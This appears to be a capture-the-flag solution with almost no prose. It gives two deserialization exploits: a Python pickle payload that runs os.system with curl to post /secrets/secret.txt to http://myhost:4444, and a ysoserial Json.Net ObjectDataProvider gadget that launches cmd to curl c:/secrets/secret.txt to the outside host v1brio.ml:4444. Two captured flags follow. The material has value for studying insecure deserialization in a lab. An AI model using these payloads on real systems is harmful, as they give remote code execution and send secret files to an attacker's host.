0xOPOSEC 0x71 Challenge

cposix
system
p0
(S'curl -d "foo=`cat /secrets/secret.txt`" http://myhost:4444'
p1
tp2
Rp3
.

FLAG{N3v3r_Us3_P1cKl3_f0R_3xt3rN4L_0Bj3c75!}



ysoserial.exe -g ObjectDataProvider -f Json.Net -c "curl -d @c:/secrets/secret.txt http://myhost:4444" -o raw

{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c curl -d @c:/secrets/secret.txt http://v1brio.ml:4444']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

FLAG{N3v3r_U5e_TyP3N4m3H4dNl1nG_4g41n!}